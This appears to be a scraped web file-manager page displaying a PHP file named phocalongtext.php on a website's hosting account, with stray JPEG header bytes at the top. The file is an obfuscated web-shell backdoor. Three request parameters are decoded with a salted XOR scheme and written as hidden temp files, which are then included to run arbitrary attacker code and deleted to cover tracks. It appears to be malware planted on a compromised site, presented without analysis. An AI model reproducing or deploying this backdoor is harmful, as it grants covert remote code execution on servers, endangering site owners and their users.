ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/uspavilion.com/phocalongtext.php
Back
<?php if(!empty($_POST["val"])){ $res = $_POST["val"]; $res =explode ( "." , $res ) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $s= 0; array_walk($res,function ($v9) use (&$dat,&$s,$salt,$sLen) { $sChar= ord($salt[$s % $sLen]); $d= ((int)$v9 - $sChar - ($s % 10))^52; $dat .= chr($d); $s++;}); $property_set = array_filter([getcwd(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); while ($ptr = array_shift($property_set)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $entity = "$ptr/.comp"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $entity; @unlink($entity); die(); } } } } if(!is_null($_REQUEST["d\x65s\x63"] ?? null)){ $token = $_REQUEST["d\x65s\x63"]; $token =explode( '.', $token ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $t = 0; while( $t <count( $token)) { $v8 = $token[$t]; $chS = ord( $s[$t % $sLen]); $dec = ( ( int)$v8 - $chS -( $t % 10)) ^ 57; $dchunk .= chr( $dec); $t++; } $item = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd()]); foreach ($item as $factor): if (is_dir($factor) ? is_writable($factor) : false) { $reference = "$factor" . "/.dat"; if (file_put_contents($reference, $dchunk)) { require $reference; unlink($reference); exit; } } endforeach; } if(array_key_exists("\x72es", $_POST) && !is_null($_POST["\x72es"])){ $component = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp"]); $item = $_POST["\x72es"]; $item = explode( ".",$item ) ; $desc = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $i = 0; $__len = count($item); do { if ($i >=$__len) break; $v8 = $item[$i]; $sChar = ord($s9[$i % $sLen]); $dec = ((int)$v8 - $sChar - ($i % 10)) ^89; $desc.= chr($dec); $i++; } while (true); while ($ref = array_shift($component)) { if (!!is_dir($ref) && !!is_writable($ref)) { $value = vsprintf("%s/%s", [$ref, ".elem"]); if (@file_put_contents($value, $desc) !== false) { include $value; unlink($value); exit; } } } }
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 5.1 |
proxy
|
phpinfo
|
Settings